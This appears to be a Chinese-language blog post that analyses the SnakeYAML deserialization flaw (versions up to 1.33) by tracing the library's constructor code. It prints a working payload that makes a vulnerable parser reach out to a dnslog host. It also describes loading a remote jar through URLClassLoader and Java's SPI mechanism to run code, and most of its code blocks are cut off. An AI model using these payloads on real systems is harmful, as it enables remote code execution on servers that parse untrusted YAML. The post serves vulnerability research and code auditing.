snakeYaml反序列化分析
0x01 前言
之前
0x02 snakeYaml 简介
SnakeYAML 是一个用于处理 YAML 格式的 Java 库。它提供了将 YAML 数据加载到 Java 对象中的功能,以及将 Java 对象转换为 YAML 格式的功能。它就是Yaml的解析器。
引入依赖
<dependency> |
yaml.load 反序列化,yaml.dump 序列化
Yaml 格式数据加载成对象
String yamlStr = "key:hello yaml"; |
也可以由yaml文件中读取数据加载成对象
Yaml yaml = new Yaml(); |
yaml文件内容如下
这里要留一行,不然反序列化不成功,并且要放在 resources目录下
也可以将对象序列化成Yaml数据
class_test1 class_test1 = new class_test1("xilitter", 33); |
这里前面有两个 !! 标识,也类似于fastjson的@type关键字,有了这个标识,在load 加载的时候就可以反序列化成任意对象了。
snakeYaml 反序列化的时候存在漏洞,能够任意代码执行。既然存在反序列化漏洞,肯定有可控的函数或者方法自动执行,接下来调试看看。
0x03 漏洞分析
已知的一条能够进行漏洞验证的payload,通过 url 类来进行 dnslog 域名解析
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http:/c2d2452a38.ipv6.1433.eu.org."]]]] |
漏洞验证代码如下
package Yaml_attack; |
运行此代码,在dnslog 日志中新添加一条访问记录
看来此版本的 yaml 解析库存在反序列化漏洞。但是对于这个payload,也满是疑惑。为什么要这样写,ScriptEngineManager 又是什么对象,换其他的类行不行呢?
接下来一一分析解答
漏洞验证分析
在 yaml.load 方法中下断点
这进行了封装流的操作,然后跟进 loadFromReader 方法
随后又是一层层的封装,没有啥关键的点,继续跟进到 getSingleData 方法
这个方法是比较关键的,将yaml数据解析成有节点的node对象,这个解析过程还是比较复杂的,在解析过程中也是会识别 !! 表示并把它判定为要反序列化的对象。
解析完大概这个样子
随后跟进 constructDocument 方法,并继续跟进到 constructObject
这里判断 缓存中是否有,刚开始是没有的,然后进入到 constructObjectNoCheck 方法
这里从node节点中获取一个构造器类
node 对象的tag 是ScriptEngineManager 类,在 yamlConstructors 这个map中并不存在,所以会获取键名为null 的构造器类
也就是 ConstructorYamlObject 类,然后调用它的构造器方法
这里继续获取构造器类,然后调用它的构造器方法,这里获取它的nodeid,
跟进去看 nodeId 为 sequence,这个表示数组,因为我们写入的Yaml数据也是数组形式。
随后就调用 ConstructSequence 类的构造器方法。
很多if分支判断 node对象的type节点类型。
随后遍历 ScriptEngineManager 类的构造方法,这里有一个if判断,就是构造方法的参数要与node对象的value的个数相同,value只有一个,所以讲 ScriptEngineManager(java.lang.ClassLoader) 构造方法添加到 possibleConstructors 数组中。
随后就获取参数类型 java.lang.ClassLoader ,并把它设置为type,取node对象的value,随即又调用了一次 constructObject 方法,类似于递归,后面的步骤就重来了两遍,直接跳过
此时就对 URL 类进行实例化,需要注意的一点是这是一个迭代,现在我们看到的是实例化 URL 类,实例化完成后,会接着实例化 URLClassLoader类,ScriptEngineManager类,并把前一个类当做构造方法参数进行实例化。
这些说的都是对于命令执行要用的。
任意代码执行
github 上有该漏洞的利用脚本,就简短的一个java文件
继承了 ScriptEngineFactory 类,必须得继承这个,还有一个 META-INF的配置
这个后面再讲,先打一下代码
编译成 jar 包,本地开一个服务,监听8081端口
payload如下
!!javax.script.ScriptEngineManager [\n" + |
运行程序弹出计算器
我们将断点定位到 ScriptEngineManager 类的构造方法中
通过 getServiceLoader 方法获取一个 Loader 加载器,这里它允许的参数类型为 ScriptEngineFactory,所以在写exp的时候,要继承这个 ScriptEngineFactory类
继续往下看,进入到 hasNextService方法
它这里获取到实现类的信息,通过去查找 META-INF 目录下的文件名
然后跟进到这个next
首先动态类加载,然后就进行实例化,执行我们构造的攻击代码。
SPI机制,也就是选择反序列化 ScriptEngineManager 类的关键,也就是在META-INF-services目录下的文件名写成 接口的全类型,里面的内容写成 该接口实现类,那么他就能够自动加载接口实现类,配合 URLClassLoader 加载器远程加载jar包可以达到远程代码执行的效果。
0x04 结语
在代码审计的过程中就可以全局搜索 yaml.load 方法检测该漏洞。
漏洞版本在 [snakeYAML <=1.33 ]
如果环境不出网,这个师傅的文章做出了解答